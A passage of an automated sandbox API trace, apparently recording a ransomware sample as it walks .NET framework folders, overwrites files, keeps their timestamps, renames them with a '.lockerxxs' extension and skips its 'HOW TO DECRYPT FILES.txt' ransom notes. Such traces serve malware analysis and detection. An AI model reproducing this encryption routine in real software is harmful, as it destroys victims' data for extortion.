(pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\selectedTab_rightCorner.gif") returned="selectedTab_rightCorner.gif" [0137.216] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" [0137.216] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\") returned="" [0137.219] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\topGradRepeat.jpg") returned="topGradRepeat.jpg" [0137.220] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0137.220] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x21c5, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x21c5, lpOverlapped=0x0) returned 1 [0137.221] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0137.221] CloseHandle (hObject=0x94) returned 1 [0137.221] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\topGradRepeat.jpg" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\images\\topgradrepeat.jpg"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\topGradRepeat.jpg.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\images\\topgradrepeat.jpg.lockerxxs")) returned 1 [0137.221] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f240de0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0xe90001e8, dwReserved1=0x4e00c4, cFileName="unSelectedTab_leftCorner.gif", cAlternateFileName="UNSELE~1.GIF")) returned 1 [0137.222] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.222] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="unSelectedTab_leftCorner.gif") returned -1 [0137.222] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="unSelectedTab_leftCorner.gif") returned -1 [0137.222] lstrcmpiA (lpString1="", lpString2="unSelectedTab_leftCorner.gif") returned -1 [0137.222] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\topGradRepeat.jpg") returned="topGradRepeat.jpg" [0137.222] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" [0137.222] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\") returned="" [0137.222] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f240de0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x590052, dwReserved1=0x540050, cFileName="unSelectedTab_rightCorner.gif", cAlternateFileName="UNSELE~2.GIF")) returned 1 [0137.222] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.222] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="unSelectedTab_rightCorner.gif") returned -1 [0137.222] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="unSelectedTab_rightCorner.gif") returned -1 [0137.222] lstrcmpiA (lpString1="", lpString2="unSelectedTab_rightCorner.gif") returned -1 [0137.222] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\unSelectedTab_leftCorner.gif") returned="unSelectedTab_leftCorner.gif" [0137.223] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" [0137.223] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\") returned="" [0137.223] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f3718e0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x370, dwReserved0=0x590052, dwReserved1=0x540050, cFileName="yellowCORNER.gif", cAlternateFileName="YELLOW~1.GIF")) returned 1 [0137.223] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.223] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="yellowCORNER.gif") returned -1 [0137.223] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="yellowCORNER.gif") returned -1 [0137.223] lstrcmpiA (lpString1="", lpString2="yellowCORNER.gif") returned -1 [0137.223] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\unSelectedTab_rightCorner.gif") returned="unSelectedTab_rightCorner.gif" [0137.223] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" [0137.223] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\") returned="" [0137.224] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f3718e0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x370, dwReserved0=0x590052, dwReserved1=0x540050, cFileName="yellowCORNER.gif", cAlternateFileName="YELLOW~1.GIF")) returned 0 [0137.224] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0137.224] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9efb9680, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x2377, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="navigationBar.ascx", cAlternateFileName="NAVIGA~1.ASC")) returned 1 [0137.224] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0137.224] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="navigationBar.ascx") returned -1 [0137.224] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="navigationBar.ascx") returned -1 [0137.224] lstrcmpiA (lpString1="", lpString2="navigationBar.ascx") returned -1 [0137.224] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\*.*") returned="*.*" [0137.224] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\" [0137.224] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\") returned="" [0137.224] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9eb8f000, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f005940, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f005940, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x45004c, dwReserved1=0x2e0053, cFileName="Providers", cAlternateFileName="PROVID~1")) returned 1 [0137.224] lstrcmpA (lpString1=".", lpString2="Providers") returned -1 [0137.225] lstrcmpA (lpString1="..", lpString2="Providers") returned -1 [0137.225] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\navigationBar.ascx") returned="navigationBar.ascx" [0137.225] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9eb8f000, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f005940, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f005940, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x5035ce, cFileName=".", cAlternateFileName="")) returned 0x502658 [0137.229] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0137.229] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9eb8f000, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f005940, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f005940, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0137.229] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0137.229] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0137.229] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9eb8f000, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f005940, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f005940, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="App_LocalResources", cAlternateFileName="APP_LO~1")) returned 1 [0137.229] lstrcmpA (lpString1=".", lpString2="App_LocalResources") returned -1 [0137.229] lstrcmpA (lpString1="..", lpString2="App_LocalResources") returned -1 [0137.229] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\*.*") returned="*.*" [0137.229] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\App_LocalResources\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9eb8f000, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f005940, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f005940, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502698 [0137.232] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0137.232] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9eb8f000, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f005940, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f005940, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.232] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0137.232] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0137.232] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9eb8f000, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x617, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="chooseProviderManagement.aspx.resx", cAlternateFileName="CHOOSE~1.RES")) returned 1 [0137.232] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0137.232] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="chooseProviderManagement.aspx.resx") returned 1 [0137.232] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="chooseProviderManagement.aspx.resx") returned 1 [0137.232] lstrcmpiA (lpString1="", lpString2="chooseProviderManagement.aspx.resx") returned -1 [0137.233] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\App_LocalResources\\*.*") returned="*.*" [0137.233] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\App_LocalResources\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\App_LocalResources\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\App_LocalResources\\" [0137.233] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\App_LocalResources\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\App_LocalResources\\") returned="" [0137.235] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0137.235] CloseHandle (hObject=0x98) returned 1 [0137.236] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9eed4e40, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x584, dwReserved0=0x0, dwReserved1=0x0, cFileName="manageconsolidatedProviders.aspx.resx", cAlternateFileName="MANAGE~1.RES")) returned 1 [0137.236] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0137.236] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="manageconsolidatedProviders.aspx.resx") returned -1 [0137.236] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="manageconsolidatedProviders.aspx.resx") returned -1 [0137.236] lstrcmpiA (lpString1="", lpString2="manageconsolidatedProviders.aspx.resx") returned -1 [0137.236] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\App_LocalResources\\chooseProviderManagement.aspx.resx") returned="chooseProviderManagement.aspx.resx" [0137.236] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\App_LocalResources\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\App_LocalResources\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\App_LocalResources\\" [0137.236] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\App_LocalResources\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\App_LocalResources\\") returned="" [0137.237] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9eefafa0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x910, dwReserved0=0x6c0061, dwReserved1=0x650052, cFileName="manageProviders.aspx.resx", cAlternateFileName="MANAGE~2.RES")) returned 1 [0137.237] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0137.237] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="manageProviders.aspx.resx") returned -1 [0137.237] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="manageProviders.aspx.resx") returned -1 [0137.237] lstrcmpiA (lpString1="", lpString2="manageProviders.aspx.resx") returned -1 [0137.237] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\App_LocalResources\\manageconsolidatedProviders.aspx.resx") returned="manageconsolidatedProviders.aspx.resx" [0137.237] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\App_LocalResources\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\App_LocalResources\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\App_LocalResources\\" [0137.237] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\App_LocalResources\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\App_LocalResources\\") returned="" [0137.237] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f005940, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x3f3, dwReserved0=0x6c0061, dwReserved1=0x650052, cFileName="providerList.ascx.resx", cAlternateFileName="PROVID~1.RES")) returned 1 [0137.238] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0137.238] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="providerList.ascx.resx") returned -1 [0137.238] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="providerList.ascx.resx") returned -1 [0137.238] lstrcmpiA (lpString1="", lpString2="providerList.ascx.resx") returned -1 [0137.238] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\App_LocalResources\\manageProviders.aspx.resx") returned="manageProviders.aspx.resx" [0137.238] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\App_LocalResources\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\App_LocalResources\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\App_LocalResources\\" [0137.238] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\App_LocalResources\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\App_LocalResources\\") returned="" [0137.238] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f005940, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x3f3, dwReserved0=0x6c0061, dwReserved1=0x650052, cFileName="providerList.ascx.resx", cAlternateFileName="PROVID~1.RES")) returned 0 [0137.238] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0137.238] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9eb8f000, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x99e, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="chooseProviderManagement.aspx", cAlternateFileName="CHOOSE~1.ASP")) returned 1 [0137.238] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.239] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="chooseProviderManagement.aspx") returned 1 [0137.239] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="chooseProviderManagement.aspx") returned 1 [0137.239] lstrcmpiA (lpString1="", lpString2="chooseProviderManagement.aspx") returned -1 [0137.239] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\*.*") returned="*.*" [0137.239] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\" [0137.239] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\") returned="" [0137.241] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0137.241] CloseHandle (hObject=0x94) returned 1 [0137.241] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9eed4e40, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x3133, dwReserved0=0x0, dwReserved1=0x0, cFileName="ManageConsolidatedProviders.aspx", cAlternateFileName="MANAGE~1.ASP")) returned 1 [0137.241] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.241] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ 